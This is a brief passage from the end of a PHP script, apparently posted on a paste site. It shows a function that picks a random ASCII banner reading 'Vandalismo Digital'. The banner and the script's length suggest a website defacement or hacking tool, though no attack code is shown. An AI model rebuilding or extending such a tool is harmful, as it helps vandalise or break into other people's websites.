  3853. ", "{$_SESSION["c1"]}
  3854. __     __              _       _ _                       ____  _       _ _        _
  3855. \ \   / /_ _ _ __   __| | __ _| (_)___ _ __ ___   ___   |  _ \(_) __ _(_) |_ __ _| |
  3856.  \ \ / / _` | '_ \ / _` |/ _` | | / __| '_ ` _ \ / _ \  | | | | |/ _` | | __/ _` | |
  3857.   \ V / (_| | | | | (_| | (_| | | \__ \ | | | | | (_) | | |_| | | (_| | | || (_| | |
  3858.    \_/ \__,_|_| |_|\__,_|\__,_|_|_|___/_| |_| |_|\___/  |____/|_|\__, |_|\__\__,_|_|
  3859.                                                                  |___/              
  3860. ");
  3861.     return ($banners[rand(0, count($banners) - 1)]);
  3862. }
Add Comment
Please, Sign In to add comment